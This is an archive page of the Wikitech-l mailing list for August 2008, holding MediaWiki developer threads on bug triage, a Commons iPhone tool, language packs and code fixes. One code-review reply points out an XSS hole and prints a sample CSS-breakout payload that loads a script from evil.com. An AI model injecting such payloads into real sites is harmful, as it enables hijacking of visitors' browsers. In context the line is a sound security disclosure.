Wikitech-l August 2008

wikitech-l@lists.wikimedia.org

71 participants
87 discussions

Bug triaging; community -> dev communication
by Brianna Laugher 05 Aug '08

05 Aug '08

Hi, I'm interested in what is the current "bug report management" going on with MediaWiki at the moment, and if it can be improved. Bugzilla is purported to be the method of communication between the Wikimedia project communities and the MW developers. But I find it fairly unsatisfying because I feel like when I file bug reports/feature requests, I have no confidence that they will even be read, let alone considered as a community request, responded to, placed in a roadmap or given a developer-POV priority. I feel like the only I can have any guarantee of the software feature I want being considered, is to befriend individual developers and try and convince them about my idea. Obviously, this doesn't scale well. <http://www.bobcongdon.net/blog/2005/11/triage.html> Maybe it would help to try and encourage developers and techie types to do more (or any?) bug triaging, eventually leading to individuals or groups responsible for triaging all bugs entered within particular Product & Component values? Extension authors are obviously responsible for triaging their own extensions' bugs, but especially for the Wikimedia and MediaWiki products I think this should be helpful. I couldn't find any mention of this kind of bug report management or bug triaging on mediawiki.org, so I am guessing whatever is done at the moment is fairly ad-hoc. It is difficult to "see" activity on bugzilla, a la Recentchanges. (I guess if you are subscribed to wikibugs-l you see everything...) for example there is no straightforward way (ie link from the mainpage) to see the most recently entered bugs, or the most recently closed bugs, or the highest priority still-open bugs. These are probably fairly straightforward reports -- maybe it would be good to link them on the bugzilla front page? If activity on bugzilla was more visible, it would be easier to thank people who spend time on bug triaging. (an otherwise extremely thankless task!) Another idea would be to have regular bug triage days/events, like maybe one weekend a month, and just publicise them on here and mediawiki.org. I guess I would also like to know more generally, what can Wikimedia communities do to communicate their tech priorities to y'all more clearly? What can we do better to get clearer feedback? (Even hearing a "no" at least gives one closure. :)) Is Bugzilla the best and only method? Is it helpful if a community appoints a 'tech request manager' who acts as a filter/gateway between the developers and the wiki community? thanks, Brianna [[user:pfctdayelise]] -- They've just been waiting in a mountain for the right moment: http://modernthings.org/

13 16

Re: [Wikitech-l] [MediaWiki-CVS] SVN: [38275] trunk/extensions/CSS/CSS.php
by Simetrical 03 Aug '08

03 Aug '08

On Wed, Jul 30, 2008 at 11:36 PM, <nad(a)svn.wikimedia.org> wrote: > Log Message: > ----------- > I meant to say should *not* use htmlspecialchars, it makes invalid CSS syntax - bug reported on MW talk page > ... > - $css = htmlspecialchars(trim(Sanitizer::checkCss($css))); > + $css = trim(Sanitizer::checkCss($css)); > $parser->mOutput->addHeadItem( <<<EOT > <style type="text/css"> > /*<![CDATA[*/ I'm pretty sure this results in a rather straightforward XSS exploit. What if $css is something like: ]]></style><script type="text/javascript" src="http://evil.com/take_over_browser.js"></script><style type="text/css"><![CDATA[ You aren't escaping "]]>" anywhere. The more correct solution, it seems to me, is to dispose of the CDATA section altogether. It's entirely unnecessary if the code is automatically generated and you can stick it through htmlspecialchars, especially if there's probably almost nothing to escape and the CDATA delimiters look uglier than the occasional rare < or whatnot. I've done this in r38307.

6 15

iCommons
by Magnus Manske 03 Aug '08

03 Aug '08

I've written a tool that functions as a specialized iPhone interface for Commons. It is quite rudimentary at the moment, but with support might develop into something. I note that there is currently no "official" commons.mobile interface AFAIK. The URL is: http://toolserver.org/~magnus/iCommons.php As most of you don't have an iPhone (yet;-) I'll prefix my demo links with an iPhone simulator. Note that the annoying scrollbars that appear occasionally will not do so on the iPhone itself. The entry page shos the Picture of the day (with description, en only ATM): http://www.testiphone.com/?url=http://toolserver.org/~magnus/iCommons.php All pages have a clickable "Wikimedia Commons" header that will lead back to this page. Also, all pages have a search box at the bottom. As this uses the opensearch API, it seems to be limited to a single word... Green links will lead to external pages (Commons and others), normal blue ones stay within the tool. Try searching for "Alexandria". (This search even found one of our videos, but as video thumbnails are /still/ not rendered in the requested size, it broke the layout; so, no videos for you...) Click on the title link or the image itself, and you go a special description page. The description has a larger thumbnail, and all kinds of details about the image. This uses my "Commons API" [1], which eases my data parsing considerably. My Commons API also recognizes images with a location, and will add a Googlemaps link to the description page: http://www.testiphone.com/?url=http://toolserver.org/~magnus/iCommons.php?m… The next step would be categories, obviuosly... Feedback, please! Magnus [1] http://toolserver.org/~magnus/commonsapi.php

2 3

Availability of language pack 2008-08-02 for MediaWiki 1.12.0
by Siebrand Mazeland 02 Aug '08

02 Aug '08

Using the Translate extension technology we have created a language pack for MediaWiki 1.12. Compared to the release version of MediaWiki 1.12, the latest language pack contains 35,000 more translated messages. This compares to over 18 additional full localisations. Aside from added translations, thousands of messages were updated. All files are available in http://translatewiki.net/mediawiki/. The language pack is available in zip and tar.gz format. Windows users may want to use the ZIP format. * http://translatewiki.net/mediawiki/MediaWiki-1.12.0-language-pack-2008-08-0… * http://translatewiki.net/mediawiki/MediaWiki-1.12.0-language-pack-2008-08-0… The above URLs may have been wrapped. The contents of the compressed file should be unpacked in "./languages/messages/" of your MediaWiki 1.12 installation. If somehow possible, we would like these files to be linked on http://www.mediawiki.org, too, but I have not yet found a suitable way to give the language packs a podium. Please read this as an open invitation to put it in somewhere. Cheers! Siebrand MediaWiki-1.12.0-language-pack-2008-08-02.tgz ------------------------------------------------ sha1sum 31bc11156d4d8b92a143c721a259cbb8840f74dd md5sum 86464c423e1609e02f61d59203f37a76 MediaWiki-1.12.0-language-pack-2008-08-02.zip ------------------------------------------------ sha1sum 078b375f5222c02aec835f3e86359fa0af001154 md5sum 14c63bf8da47cb50cfa737abe347eba2

1 0

Re: [Wikitech-l] [MediaWiki-CVS] Minor typing error in German localisation
by MinuteElectron 02 Aug '08

02 Aug '08

purodha(a)svn.wikimedia.org wrote: > Revision: 38382 > Author: purodha > Date: 2008-08-01 17:47:41 +0000 (Fri, 01 Aug 2008) > > Log Message: > ----------- > Minor typing error in German localisation. Please note that the German language is now localised at Betawiki, therefore your changes will be overwritten on the next export. MinuteElectron.

5 8

problem with Title instance
by viral gupta 01 Aug '08

01 Aug '08

I have a code which is running perfect on one wiki. I installed another wiki on other machine. * code snippet:* $pageTitle = Title::newFromText($args[title]); where $args[title]="Main_Page" *Following is the error message* : "*Catchable fatal error*: Argument 1 passed to Linker::doEditSectionLink() must be an instance of Title, null given, called in /opt/web/htdocs/mediawiki/includes/Linker.php on line 1175 and defined in * /opt/web/htdocs/mediawiki/includes/Linker.php* on line *1200" *Its not able to form Title object. Pls help!!. * *-- Thanks n Regards Viral Gupta When a man knows what he wants, the world steps aside to make way for him.

1 0

Re: [Wikitech-l] [MediaWiki-CVS] SVN: [38321] trunk/phase3/includes/WatchlistEditor.php
by Greg Sabino Mullane 01 Aug '08

01 Aug '08

> Revert r38302,38306 -- "Add an order by to the list of watched pages." > This looks wrong -- an order by title wouldn't be indexed properly, and > could be rather slow. Eh? It indexes just fine: QUERY PLAN ------------------------------------------------------------------ Sort (actual time=16.137..16.350 rows=538 loops=1) Sort Key: page.page_title Sort Method: quicksort Memory: 76kB -> Nested Loop Left Join (actual time=0.460..14.734 rows=538 loops=1) Join Filter: (watchlist.wl_namespace = page.page_namespace) -> Bitmap Heap Scan on watchlist (actual time=0.379..2.605 rows=538 loops=1) Recheck Cond: (wl_user = 345) -> Bitmap Index Scan on watchlist_user (actual time=0.298..0.298 rows=538 loops=1) Index Cond: (wl_user = 345) -> Index Scan using page_title on page (actual time=0.015..0.019 rows=2 loops=538) Index Cond: (watchlist.wl_title = page.page_title) Total runtime: 16.782 ms -- Greg Sabino Mullane greg(a)endpoint.com End Point Corporation

1 0

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

2005

2004

2003

2002

Wikitech-l August 2008